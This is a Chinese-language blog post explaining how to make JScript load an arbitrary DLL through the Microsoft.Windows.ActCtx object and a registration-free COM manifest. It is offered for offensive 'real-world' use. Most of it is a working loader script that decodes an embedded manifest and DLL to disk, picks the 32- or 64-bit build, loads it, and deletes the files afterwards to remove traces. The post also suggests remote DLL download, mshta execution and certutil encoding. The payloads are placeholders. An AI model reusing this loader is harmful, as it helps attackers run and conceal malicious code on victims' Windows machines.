1. 程式人生 > >劍走偏鋒,JavaScript指令碼動態載入DLL

劍走偏鋒,JavaScript指令碼動態載入DLL

目前網上公佈通過JavaScript等指令碼載入DLL動態連結庫的方法有2種,一種是利用Excel.Applicationobject's RegisterXLL()進行DLL載入,另一種是James Forshaw開源的工具DotNetToJScript,這2種方式都非常巧妙,但是也存在一定的缺陷,就是必須確認目標主機安裝了Office(Excel)元件或者.NET Frameword,關於這兩種利用方法請參考文件最後連結。


為了嘗試繞過這些限制,我無奈只能詢問Google,功夫不負有心人,搜尋結果反饋我微軟提供了一個物件(Microsoft.Windows.ActCtx Object),該物件可以載入一個不需要註冊的COM元件(動態連結庫的一種),詳細描述請參考

https://msdn.microsoft.com/en-us/library/aa375644(VS.85).aspx

 

抱著一切不以實戰出發的技術研究都是蝦扯蛋的原則,咱們直接進入正題。

 

這次主要利用Microsoft.Windows.ActCtx物件的Manifest屬性,該屬性指定了一個Manifest檔名,Manifest檔案的主要作用是用於繫結和啟用COM類、介面和庫的相關資訊,在XP及以後的Windows系統中,系統在執行EXE可執行檔案時會首先讀取Manifest檔案,獲得EXE檔案需要呼叫的DLL列表(此時獲得的,並不直接是DLL檔案的本身的位置,而是DLL的Manifest),作業系統再根據DLL的Manifest檔案提供的資訊去尋找對應的DLL。

微軟msdn上的一個配圖比較直觀地描述了這一過程:

在Windows系統中,如果應用程式指定了元件依賴關係,則程式啟動時首先在WinSxS資料夾中查詢共享元件,若未找到,則在程式安裝目錄下查詢私有元件。

在大部分的情況下,元件的查詢順序如下所示:

1)WinSxS資料夾

2)\\<appdir>\<assemblyname>.DLL

3)\\<appdir>\<assemblyname>.manifest

4)\\<appdir>\<assemblyname>\<assemblyname>.DLL

5)\\<appdir>\<assemblyname>\<assemblyname>.manifest

更詳細的描述可以檢視msdn中的AssemblySearching Sequence。

 

首先通過VisualStudio 2010編寫一個簡單的DllDemo,該DLL的主要功能彈出測試視窗。

 

然後編寫一個JavaScript檔案,

var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");

actCtx.Manifest = "WindowsScriptHostExtension.manifest"; // ①

try{

         var DX = actCtx.CreateObject("WindowsScriptHostExtension"); // ②

}

catch(e){

}

①  代表Manifest檔名,可以帶絕對路徑(推薦該方式),但請注意路徑格式,可採用的路過格式為

actCtx.Manifest = "C:\\jsloadDll\\WindowsScriptHostExtension.manifest";

actCtx.Manifest = " C:/jsloadDll/WindowsScriptHostExtension.manifest";

如果檔名不帶絕對路徑,則載入可能失敗,因為和程式執行時的環境變數有關。

例如雙擊執行loader.js,通過ProcessMonitor監控可以發現wscript.exe能正確找到manifest檔案。

但是通過命令列下呼叫cscript.exe執行(路徑為C:\WINDOWS\SYSTEM32),則查詢manifest檔案失敗。


②  CreateObject的名稱必須和Manifest檔案中的progid值一樣即可。

 

最後再編寫一個Manifest檔案:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">

<file name="WindowsScriptHostExtension.dll">      <!-- ① -->

<comClass

         description="DynamicWrapperX Class"

         clsid="{CE794ABE-C0AA-474E-8EEC-3EAAFA88F1CE}"

         threadingModel="Both"

         progid=" WindowsScriptHostExtension"/>  <!-- ② -->

</file>

</assembly>

①  與Manifest關聯的DLL檔名,注意此處如果採用絕對路徑將會失敗。



②  progid值必須和JavaScript檔案中CreateObject的值一致。

 

現在總結一下研究過程中遇到的問題:

(1)    因為路徑的問題導致載入DLL失敗;

這個通常出現在Manifest檔案file欄位中name值的設定錯誤原因,經過測試為了更適用於Windows XP至最新的Win 10作業系統,強烈推薦檔名前加上 ./ 或.\ (例如./4dogs.dll或.\4dogs.dll),然後將DLL模組和JavaScript檔案放置於同一目錄下即可。


(2)    因為動態連結庫的版本不確定原因(無法正確識別32位和64位宿主程式)導致載入DLL失敗;

測試中如果宿主程式(例如wscript.exe或cscript.exe)是64位,而我們放置的DLL模組是32位,則會載入失敗,同理32位宿主也無法載入64位的DLL模組。

為了更加準確的判別宿主程式版本,可以通過一段JavaScript指令碼實現:

// 識別作業系統

var oShell = new ActiveXObject("WScript.Shell");

var oUserEnv = oShell.Environment("Process");

var colVars = new Enumerator(oUserEnv);

var platform = oUserEnv("PROCESSOR_ARCHITECTURE");

if (platform == "AMD64")

         // bala bala bala;

else

         // bili bili bili bili;

 

(3)    子檔案太多,作為一個實戰派,我們應當儘量將功能集中在一個檔案中完成,類似於James Forshaw開源的DotNetToJScript,設計思路是將Manifest和DLL檔案”封裝”在JavaScript程式碼中,執行後動態釋放到JavaScript檔案目錄下,並且在執行完畢後可以清理DLL模組和Manifest檔案,具體請參考loader.js程式碼。

 

// Base64解碼函式

function base64decode(base64str, binary_file_save_path)

{

         var xml = WScript.CreateObject("Microsoft.XMLDOM");

         var node = xml.createElement("base64-node");

         node.dataType = "bin.base64";

         node.text = base64str;

         var binary_data = node.nodeTypedValue;

         var sw = new ActiveXObject("ADODB.Stream");

         sw.Type = 1; // binary

         sw.Open();

         sw.Write(binary_data);

         sw.SaveToFile(binary_file_save_path);

         sw.Close();

};

// Manifest檔案

var base64ManifestHead = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPg0KPGZpbGUgbmFtZT0iLi9XaW5kb3dzU2NyaXB0SG9zdEV4dGVuc2lvbi54"; // Manifest檔案前段

var base64ManifestEnd = "iPg0KPGNvbUNsYXNzDQoJZGVzY3JpcHRpb249IkR5bmFtaWNXcmFwcGVyWCBDbGFzcyINCgljbHNpZD0ie0NFNzk0QUJFLUMwQUEtNDc0RS04RUVDLTNFQUFGQTg4RjFDRX0iDQoJdGhyZWFkaW5nTW9kZWw9IkJvdGgiDQoJcHJvZ2lkPSJXaW5kb3dzU2NyaXB0SG9zdEV4dGVuc2lvbiIvPg0KPC9maWxlPg0KPC9hc3NlbWJseT4="; // Manifest檔案後段

var Manifest;

 

var DLL32 = "bilibilibili"; // 32位DLL動態連結庫檔案base64編碼後的內容

var DLL64 = "balabalabala"; // 64位DLL動態連結庫檔案base64編碼的內容

var DLLName, DLLBin;

 

// 識別作業系統

var oShell = new ActiveXObject("WScript.Shell");

var oUserEnv = oShell.Environment("Process");

var colVars = new Enumerator(oUserEnv);

var platform = oUserEnv("PROCESSOR_ARCHITECTURE");

if (platform == "AMD64")

{

         Manifest = base64ManifestHead + "NjQ" + base64ManifestEnd;

         DLLName = "./WindowsScriptHostExtension.x64";

         DLLBin = DLL64;

}

else

{

         Manifest = base64ManifestHead + "MzI" + base64ManifestEnd;

         DLLName = "./WindowsScriptHostExtension.x32";

         DLLBin = DLL32;

}

 

// 釋放Manifest和DLL模組

base64decode(Manifest, "./WindowsScriptHostExtension-test.manifest");

base64decode(DLLBin, DLLName);

 

// 載入DLL

var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");

actCtx.Manifest = "./WindowsScriptHostExtension-test.manifest";

try{

         var DX = actCtx.CreateObject("WindowsScriptHostExtension");

}

catch(e){

}

 

// 刪除Manifest檔案

try{

         fso = new ActiveXObject("Scripting.FileSystemObject");

         var f1 = fso.getfile("./WindowsScriptHostExtension-test.manifest");

         f1.Delete();

}

catch(e){

}

 

// 刪除DLL模組檔案

try{

         fso = new ActiveXObject("Scripting.FileSystemObject");

         var f1 = fso.getfile(DLLName);

         f1.Delete();

}

catch(e){

}

上述程式碼大部分取自於網際網路,可能有處理不足的地方,請自行修補。

 

關於最後一些想說的:

1) 利用Manifest的方式載入Dll通用性較強,可從WindowsXP到Win 10(32位和64位)均通用。

2) 利用方式應該不單單隻有這些,比如可以通過遠端下載DLL的方式來減少JavaScript檔案大小,或配合mshta等其它宿主程式來執行JavaScript程式碼,希望有更多的大犇能共享其它利用技巧。

3) 該方式也適用於vbs。

4) 獲取DLL模組base64編碼的快速方式是利用certutil程式,命令如下:

certutil -encode bin.dll Encode.txt

然後去除頭部和尾部的註釋部分,替換掉換行符號即可。

 

參考文件:

https://3gstudent.github.io/3gstudent.github.io/Use-Excel.Application-object's-RegisterXLL()-method-to-load-dll/

https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/

 

本文為四維創智原創文章,如需轉載或刊登,請註明原文出處。